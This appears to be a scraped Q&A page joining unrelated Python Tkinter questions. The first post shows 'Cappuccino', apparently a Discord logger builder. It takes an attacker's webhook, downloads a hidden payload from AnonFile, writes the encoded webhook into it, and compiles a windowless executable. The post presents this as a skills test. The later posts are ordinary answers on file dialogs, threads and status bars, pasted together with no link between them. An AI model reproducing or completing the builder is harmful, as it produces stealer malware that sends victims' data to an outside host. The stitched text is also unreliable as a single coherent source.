I made something in python to test my python skills. I tried converting it to an .EXE (the main python file itself) but it keeps starting itself over and over again: https://youtu.be/GItuZkD8nfo
it keeps starting new windows over & over again.
# Imports
from asyncio.log import logger
from asyncio.windows_events import NULL
from base64 import b64encode
from os import remove, mkdir
from shutil import rmtree
from shutil import move as movefile
from art import text2art
from anonfile import AnonFile
anon = AnonFile()
from discord_webhook import DiscordWebhook
from tkinter import NE, TOP, Entry, Label, Tk, Button, PhotoImage, messagebox, StringVar
import PyInstaller.__main__
from multiprocessing import freeze_support
freeze_support()
# Warn user to install python!
messagebox.showinfo("Python!", "Make sure you have python v3.10 installed before continuing")
# create temp folder
try:
mkdir('temp')
except FileExistsError:
pass
#labels / buttons to remove later
labels = []
#terminal art ;)
Art=text2art("Cappuccino")
print(Art)
#define GUI class
class MyFirstGUI:
def __init__(self, master):
self.master = master
#define title
master.title("Cappuccino")
#buttons
self.greet_button = Button(master, image=photo,highlightthickness=0, borderwidth=0,relief='flat',command=self.build)
self.quit = Button(master, image=quit_Image,highlightthickness=0, borderwidth=0,relief='flat', command=self.quit)
#pack the buttons
self.greet_button.pack(side="bottom")
self.quit.pack(side=TOP, anchor=NE)
#entry box
e1 = Entry(master, width=50, justify='center', textvariable=webhook)
e1.pack(padx=10, pady=100)
def quit(self):
#quit function
rmtree('temp')
exit()
def build(self):
#build function
for label in labels: label.destroy()
webhook_encoded = str(b64encode(webhook.get().encode('utf-8'))).replace("b'", "").replace("'", "")
try:
webhookSender = DiscordWebhook(url=webhook.get(), content='Cappucino Test!', username='Cappucino')
response = webhookSender.execute()
except:
print('ERROR! Most likely caused by: No internet connection or an invalid webhook!')
label = Label( root, image=error, highlightthickness=0, borderwidth=0,relief='flat' )
label.pack()
labels.append(label)
return
filename = anon.download("private", path='temp')
try:
f = open('temp/py1.py', 'r', encoding='utf-8')
except FileNotFoundError:
label = Label( root, image=error, highlightthickness=0, borderwidth=0,relief='flat' )
label.pack()
labels.append(label)
print('ERROR! Python file not found.')
return
code = f.read()
try:
l2 = open('temp/py2.py', 'w', encoding='utf-8')
except FileNotFoundError:
pass
l2.write(code.replace('Webhook_Here', webhook_encoded))
l2.close()
f.close()
error = False
try:
PyInstaller.__main__.run([
'temp/logger2.py',
'--onefile',
'--noconsole',
'--log-level=INFO',
'--icon=NONE',
])
except:
label = Label( root, image=error, highlightthickness=0, borderwidth=0,relief='flat' )
label.pack()
labels.append(label)
print('ERROR! PyInstaller failed converting the logger to an .EXE!')
return
movefile('dist/p2.exe', 'a.exe')
remove('logger2.spec')
try:
rmtree('temp/__pycache__')
rmtree('build')
rmtree('dist')
except OSError as e:
print("Error: %s - %s." % (e.filename, e.strerror))
remove('temp/py1.py')
remove('temp/py2.py')
#define root
root = Tk()
#define webhook
webhook = StringVar()
#configure background
root.configure(bg="#1e1e1e")
#configure icon
root.wm_iconbitmap('Cappuccino.ico')
#define window height and width
root.geometry("600x400")
#error text
photo = PhotoImage(file = "Untitled.png")
quit_Image = PhotoImage(file = "quit.png")
error = PhotoImage(file = "Error.png")
#gui?
my_gui = MyFirstGUI(root)
#loop
root.mainloop()
I tried adding
from multiprocessing import freeze_support
freeze_support()
but that did not work at all. I was expecting the program to work like normal.
Running the program from the normal .py file works just fine!
Related
def upload_photo(self):
global img, filename
global filename
f_types = [('JPG Files','*.jpg'),("PNG File","*.png"),("All Files","*.*")]
filename=filedialog.askopenfilename(filetypes=f_types)
img=Image.open(filename)
img_resized=img.resize((200,200))
img=ImageTk.PhotoImage(img_resized)
b2=Label(self.emp_Manage_frame,image=img,width=250,height=250,bg="red")
b2.place(x=530,y=100,width=199,height=185)
def add_client(self):
global img, filename
global filename
fob=open(filename, 'rb')
fob=fob.read()
data=fob
You will get the error if the add_client() method is called before upload_photo(), but otherwise your code works OK. You could fix that problem by adding a filename = None at the top-level of the script to ensure that the variable is always defined — and the checked its value before attempting to use it.
However it would be even better to get rid of the global variables altogether because they are considered a poor programming practice. The following shows how to implement that:
from tkinter import *
from tkinter import filedialog
import tkinter.messagebox as messagebox
from PIL import Image, ImageTk
class Application:
def __init__(self, parent):
self.emp_Manage_frame = Frame(parent, width=800, height=640)
self.emp_Manage_frame.pack()
self.img = None
self.filename = None
def upload_photo(self):
f_types = [('JPG Files','*.jpg'), ("PNG File","*.png"), ("All Files","*.*")]
self.filename = filedialog.askopenfilename(filetypes=f_types)
img = Image.open(self.filename)
img_resized = img.resize((200, 200))
self.img = ImageTk.PhotoImage(img_resized)
b2 = Label(self.emp_Manage_frame, image=self.img, width=250, height=250, bg="red")
b2.place(x=530, y=100, width=199, height=185)
def add_client(self):
if self.filename is None:
messagebox.showerror('File not defined!', 'Please upload image file first')
else:
with open(self.filename, 'rb') as fob:
data = fob.read()
if __name__ == '__main__':
root = Tk()
app = Application(root)
upload_btn = Button(root, text='Upload Photo', command=app.upload_photo)
upload_btn.pack()
add_client_btn = Button(root, text='Add Client', command=app.add_client)
add_client_btn.pack()
root.mainloop()
but I'm trying to make the GUI for my script, when I click bt_send I start a thread (thread_enviar), that thread also start other thread (core), the problem is that thread_enviar is running for ever so I got this error when I try to click bt_send again:
File "/anaconda3/envs/tensor/lib/python3.6/threading.py", line 842, in start
raise RuntimeError("threads can only be started once")
RuntimeError: threads can only be started once
My code:
import tkinter as tk
from tkinter import filedialog
import pandas as pd
from tkinter import messagebox
from tkinter import ttk
import threading
import rnn10forecasting as rnn10f
filepath = ""
model = ""
'''def change_menu(selection):
global model
selected = selection
print(selected)
model = selected'''
def click():
global filepath
print("click")
filepath = filedialog.askopenfilename(initialdir = "/",title = "Select file",filetypes = (("data files","*.csv"),("all files","*.*")))
print(filepath)
label_filepath.config(text = filepath)
def enviar():
print(filepath)
try:
data = pd.read_csv(filepath)
except:
messagebox.showerror("Error", "Archivo .csv vacio o formato incompatible")
if any(data.columns.values != ['date','close','volume','open','high','low']):
messagebox.showerror("Error", "El archivo .csv no contiene la estructura requerida: [date,close,volume,open,high,low]")
elif len(data) < 300:
print("# registros")
print(len(data))
messagebox.showerror("Error", "El archivo de be contener como minimo 700 registros")
else:
pg_bar.start(500)
core = threading.Thread(target=rnn10f.forecasting, args=(filepath,))
#core.daemon = True
core.start()
core.join()
print("VIVO?")
print(core.isAlive())
pg_bar.stop()
return print(thread_enviar.is_alive())
thread_enviar = threading.Thread(target=enviar, args=())
window = tk.Tk()
window.resizable(width=False, height=False)
window.title("LSTM Module")
window.geometry("600x150")
title = tk.Label(text="StockForecaster", font=("Times New Roman", 30))
title.place(relx=0.1, rely=0.05, relwidth=0.8, relheight=0.25)
bt_select = tk.Button(text="Select File", bg="blue", command= click)
bt_select.place(relx=0.7, rely=0.4, relwidth=0.25, relheight=0.2)
label_filepath = tk.Label(text="Please select a .csv File")
label_filepath.place(relx=0, rely=0.4, relwidth=0.7, relheight=0.15)
options = tk.StringVar()
bt_send = tk.Button(text="Send", bg="blue", command=thread_enviar.start)
bt_send.place(relx=0.70, rely=0.7, relwidth=0.25, relheight=0.20)
pg_bar = ttk.Progressbar(window, orient= tk.HORIZONTAL, mode="indeterminate", )
pg_bar.place(relx=0.10, rely=0.75, relwidth=0.55, relheight=0.05)
window.mainloop()
I don' know if there is any way to kill that thread or If I'm doing something wrong.
Question: RuntimeError: threads can only be started once
As I understand, you don't want to run multiple threads, you only want to do a Task in a thread to avoid freezing the Tk().mainloop().
To inhibit, to start a new thread while the previous thread are still running you have to disable the Button or verify if the previous thread is still .alive().
Try the following approach:
import tkinter as tk
import threading, time
class Task(threading.Thread):
def __init__(self, master, task):
threading.Thread.__init__(self, target=task, args=(master,))
if not hasattr(master, 'thread_enviar') or not master.thread_enviar.is_alive():
master.thread_enviar = self
self.start()
def enviar(master):
# Simulating conditions
if 0:
pass
#if any(...
#elif len(data) < 300:
else:
#master.pg_bar.start(500)
# Simulate long run
time.sleep(10)
#rnn10f.forecasting(filepath)
print("VIVO?")
#master.pg_bar.stop()
class App(tk.Tk):
def __init__(self):
super().__init__()
bt_send = tk.Button(text="Send", bg="blue",
command=lambda :Task(self, enviar))
if __name__ == "__main__":
App().mainloop()
I am creating a GUI, where I have placed three buttons for selecting a file. When I click the button it browse for a file and display the selected file path and I am trying to do it with a single browse function since the operation is same. I am bit confused to how I should proceed . Can anyone please help me out.
Thanks in advance.
Here is my code:
Browse_Files.py
from tkinter import filedialog
def Browse_File():
global Bfilepath
Bfilepath = filedialog.askopenfilename(filetypes = (("Please select the required file", "*"), ("All files", "*")))
return Bfilepath
Main.py
from tkinter import *
import sys
import fileinput
import Browse_Files
root = Tk()
root.geometry('1400x800')
root.title('Dr Configuration')
Heading = Label(root, font=('Times New Roman',50,'bold'),text = "Arxml
Configuration Tool").place(x=300,y=25)
BasepathLabel = Label(root,font=('Times New Roman',20,'bold'),text = " Base
arxml").place(x=200,y=150)
NewpathLabel= Label(root,font=('Times New Roman',20,'bold'),text = "
New/Unedited arxml").place(x=200,y=250)
InterfaceLabel = Label(root,font=('Times New Roman',20,'bold'),text = "
Interface_File").place(x=200,y=350)
BpathtoDisp = StringVar(None)
BpathEntry = Entry(root,font=('Times New Roman',18),textvariable=
BpathtoDisp,justify='left',width=48).place(x=500,y=150)
NpathtoDisp = StringVar(None)
NpathEntry = Entry(root,font=('Times New Roman',18),textvariable=
NpathtoDisp,justify='left',width=48).place(x=500,y=250)
InterPathtoDisp = StringVar(None)
InterPathEntry = Entry(root,font=('Times New Roman',18),textvariable=
NpathtoDisp,justify='left',width=48).place(x=500,y=350)
button1 = Button(root,text="...",height=1,width=3,command=lambda:Browse_Files.Browse_File()).place(x=1100,y=150)
button2 = Button(root,text="...",height=1,width=3,command=lambda:Browse_Files.Browse_File()).place(x=1100,y=250)
button3 = Button(root,text="...",height=1,width=3,command=lambda:Browse_Files.Browse_File()).place(x=1100,y=350)
root.mainloop()
You could create a class that contains the functionality to have a button, open a file dialog, store it and make it available to other parts of the program.
I have a similar widget that I use in many different programs
from tkinter import *
from tkinter import filedialog
class FileSelect(Frame):
def __init__(self,master,label="",**kw):
Frame.__init__(self,master)
self.configure(**kw)
self.file = StringVar()
self.Label = Label(self, text=label)
self.Label.config(width=10,anchor=E)
self.filenamebox = Entry(self,text=self.file)
self.filenamebox.config(width=50)
self.btnBrowse = Button(self,text='Browse',command=self.browse_file)
self.btnBrowse.config(width=10)
self.Label.grid(row=0,column=0,pady=5,sticky=E)
self.filenamebox.grid(row=0,column=1,pady=5)
self.btnBrowse.grid(row=0,column=2,pady=5,padx=5)
def browse_file(self):
filename = filedialog.askopenfilename(filetypes=[('All File','*.*')])
self.file.set(filename)
def get_filename(self):
return self.file.get()
def main():
root = Tk()
root.title("Example Widget")
fileSelect1 = FileSelect(root,label="My File 1")
fileSelect1.grid()
fileSelect2 = FileSelect(root,label="My File 2")
fileSelect2.grid()
root.mainloop()
if __name__ == '__main__':
main()
In your code if you want the value of the file selected use
fileSelect1.get_filename()
EDIT: I've created a new version that is only a Button 'with memory' to remember which item was selected by the file dialog. This will allow you to place using the place geometry manager (which I don't recommend). Its not complete but you should get the idea.
from tkinter import *
from tkinter import filedialog
class FileSelectButton(Button):
def __init__(self,master,**kw):
Button.__init__(self,master,text='Browse',command=self.browse_file,width=10,**kw)
self.file = StringVar()
def browse_file(self):
filename = filedialog.askopenfilename(filetypes=[('All File','*.*')])
self.file.set(filename)
def get_filename(self):
return self.file.get()
def main():
root = Tk()
root.geometry('1400x800')
root.title("Example Widget")
Label(root, font=('Times New Roman',50,'bold'),text = "Label1").place(x=200,y=150)
fileSelect1 = FileSelectButton(root)
fileSelect1.place(x=500,y=150)
Label(root, font=('Times New Roman',50,'bold'),text = "Label2").place(x=200,y=250)
fileSelect2 = FileSelectButton(root)
fileSelect2.place(x=500,y=250)
root.mainloop()
if __name__ == '__main__':
main()
Here is the code that i run in the python CMD:
import mailbox
import pprint
f = open("results.txt","w")
mbox = mailbox.mbox('c:\documents and settings\student\desktop\mail\mailall.mbox')
count = 0
for msg in mbox:
pprint.pprint(msg._headers, stream = f)
if msg['Delivered-To'] == 'example#example.co.uk':
count += 1
f.close()
print(count)
However when i run it in the GUI, it makes the GUI crash (Flashes black and doesn't open). Here is the GUI:
import datetime
from tkinter import filedialog
import tkinter
class App:
def __init__(self, master):
self.master = master
# call start to initialize to create the UI elemets
self.start()
def start(self):
self.master.title("Extract Email Headers")
self.now = datetime.datetime.now()
# CREATE A TEXT/LABEL
# create a variable with text
label01 = "Please select the .mbox file you would like to analyse"
# put "label01" in "self.master" which is the window/frame
# then, put in the first row (row=0) and in the 2nd column (column=1),
# align it to "West"/"W"
tkinter.Label(
self.master, text=label01).grid(row=0, column=0, sticky=tkinter.W)
# CREATE A TEXTBOX
self.filelocation = tkinter.Entry(self.master)
self.filelocation["width"] = 60
self.filelocation.focus_set()
self.filelocation.grid(row=1, column=0)
# CREATE A BUTTON WITH "ASK TO OPEN A FILE"
# see: def browse_file(self)
self.open_file = tkinter.Button(
self.master, text="Browse...", command=self.browse_file)
# put it beside the filelocation textbox
self.open_file.grid(row=1, column=1)
# now for a button
self.submit = tkinter.Button(
self.master, text="Execute!", command=self.start_processing,
fg="red")
self.submit.grid(row=3, column=0)
def start_processing(self):
import mailbox
import pprint
f = open("results.txt","w")
mbox = mailbox.mbox('c:\documents and settings\student\desktop\mail\mailall.mbox')
count = 0
for msg in mbox:
pprint.pprint(msg._headers, stream = f)
if msg['Delivered-To'] == 'example#example.co.uk':
count += 1
f.close()
print(count)
def browse_file(self):
# put the result in self.filename
self.filename = filedialog.askopenfilename(title="Open a file...")
# this will set the text of the self.filelocation
self.filelocation.insert(0, self.filename)
root = tkinter.Tk()
app = App(root)
root.mainloop()
If i take the process code out and put "pass", the GUI works so i know its the code that is throwing it off.? Thanks
I have developed a simple app in Python (2.7) with Tkinter. But my status bar is only sort of working. Here's the stripped down code:
from Tkinter import *
import os
import sys
def fixFiles():
inputFilePath= input_dir.get()
#Build a list of files in a directory
fileList = os.listdir(inputFilePath)
#Loop through those files, open the file, do something, close the file
for filename in fileList:
infile = open(inputfilepath + "/" + filename,'r')
#Update the status with the filename
status_string = 'Status: Working on file: ' + str(filename)
status.set(status_string)
for line in infile:
#Do some stuff here
infile.close()
class App:
def __init__(self, master):
i = 0
status.set("Status: Press 'Fix Files!'")
statuslabel = Label(master, textvariable=status, relief = RIDGE, width = 65, pady = 5, anchor=W)
bFixFiles = Button(root, text='Fix Files!', command = fixFiles)
bQuit = Button(root, text='Quit', command = root.destroy)
statuslabel.grid(row=i, column = 0, columnspan = 2)
bFixFiles.grid(row=i, column=2, sticky=E)
bQuit.grid(row=i, column=3, sticky=W)
root = Tk()
root.title("FIX Files")
input_dir = StringVar()
status = StringVar()
choice = IntVar()
app = App(root)
root.mainloop()
Currently what's happening is that the status bar reads "Status: Press 'Fix Files!'" until the program is finished looping through the files, at which point it reads "Status: Working on file: XXXXX.txt" (which is the name of the last file to be opened and closed by the program.
I would like the status bar to update with the file name each time the program opens a new file. Any help is appreciated!
The goofy way is to use root.update_idletasks():
#Update the status with the filename
status_string = 'Status: Working on file: ' + str(filename)
status.set(status_string)
root.update_idletasks()
To its credit, it is simple, but it does not really work -- although the statuslabel gets updated, the Quit button is frozen until fixFiles is completed. That's not very GUI-friendly. Here are some more reasons why update and update_idletasks are considered harmful.
So how should we run a long-running task without freezing the GUI?
The key is to make your callback functions end quickly. Instead of having a long-running for-loop, make a function that runs through the innards of the for-loop once. Hopefully that ends quickly enough for the user to not feel the GUI has been frozen.
Then, to replace the for-loop, you could use calls to root.after to call your quick-running function multiple times.
from Tkinter import *
import tkFileDialog
import os
import sys
import time
def startFixFiles():
inputFilePath = tkFileDialog.askdirectory()
# inputFilePath= input_dir.get()
# Build a list of files in a directory
fileList = os.listdir(inputFilePath)
def fixFiles():
try:
filename = fileList.pop()
except IndexError:
return
try:
with open(os.path.join(inputFilePath, filename), 'r') as infile:
# Update the status with the filename
status_string = 'Status: Working on file: ' + str(filename)
status.set(status_string)
for line in infile:
# Do some stuff here
pass
except IOError:
# You might get here if file is unreadable, you don't have read permission,
# or the file might be a directory...
pass
root.after(250, fixFiles)
root.after(10, fixFiles)
class App:
def __init__(self, master):
i = 0
status.set("Status: Press 'Fix Files!'")
statuslabel = Label(
master, textvariable=status, relief=RIDGE, width=65,
pady=5, anchor=W)
bFixFiles = Button(root, text='Fix Files!', command=startFixFiles)
bQuit = Button(root, text='Quit', command=root.destroy)
statuslabel.grid(row=i, column=0, columnspan=2)
bFixFiles.grid(row=i, column=2, sticky=E)
bQuit.grid(row=i, column=3, sticky=W)
root = Tk()
root.title("FIX Files")
input_dir = StringVar()
status = StringVar()
choice = IntVar()
app = App(root)
root.mainloop()
The above begs the question, What should we do if our long-running task has no loop? or if even one pass through the loop requires a long time?
Here is a way to run the long-running task in a separate process (or thread), and have it communicate information through a queue which the main process can periodically poll (using root.after) to update the GUI status bar. I think this design is more easily applicable to this problem in general since it does not require you to break apart the for-loop.
Note carefully that all Tkinter GUI-related function calls must occur from a single thread. That is why the long-running process simply sends strings through the queue instead of trying to call status.set directly.
import Tkinter as tk
import multiprocessing as mp
import tkFileDialog
import os
import Queue
sentinel = None
def long_running_worker(inputFilePath, outqueue):
# Build a list of files in a directory
fileList = os.listdir(inputFilePath)
for filename in fileList:
try:
with open(os.path.join(inputFilePath, filename), 'r') as infile:
# Update the status with the filename
status_string = 'Status: Working on file: ' + str(filename)
outqueue.put(status_string)
for line in infile:
# Do some stuff here
pass
except IOError:
# You might get here if file is unreadable, you don't have read permission,
# or the file might be a directory...
pass
# Put the sentinel in the queue to tell update_status to end
outqueue.put(sentinel)
class App(object):
def __init__(self, master):
self.status = tk.StringVar()
self.status.set("Status: Press 'Fix Files!'")
self.statuslabel = tk.Label(
master, textvariable=self.status, relief=tk.RIDGE, width=65,
pady=5, anchor='w')
bFixFiles = tk.Button(root, text='Fix Files!', command=self.startFixFiles)
bQuit = tk.Button(root, text='Quit', command=root.destroy)
self.statuslabel.grid(row=1, column=0, columnspan=2)
bFixFiles.grid(row=0, column=0, sticky='e')
bQuit.grid(row=0, column=1, sticky='e')
def update_status(self, outqueue):
try:
status_string = outqueue.get_nowait()
if status_string is not sentinel:
self.status.set(status_string)
root.after(250, self.update_status, outqueue)
else:
# By not calling root.after here, we allow update_status to truly end
pass
except Queue.Empty:
root.after(250, self.update_status, outqueue)
def startFixFiles(self):
inputFilePath = tkFileDialog.askdirectory()
# Start long running process
outqueue = mp.Queue()
proc = mp.Process(target=long_running_worker, args=(inputFilePath, outqueue))
proc.daemon = True
proc.start()
# Start a function to check a queue for GUI-related updates
root.after(250, self.update_status, outqueue)
root = tk.Tk()
root.title("FIX Files")
app = App(root)
root.mainloop()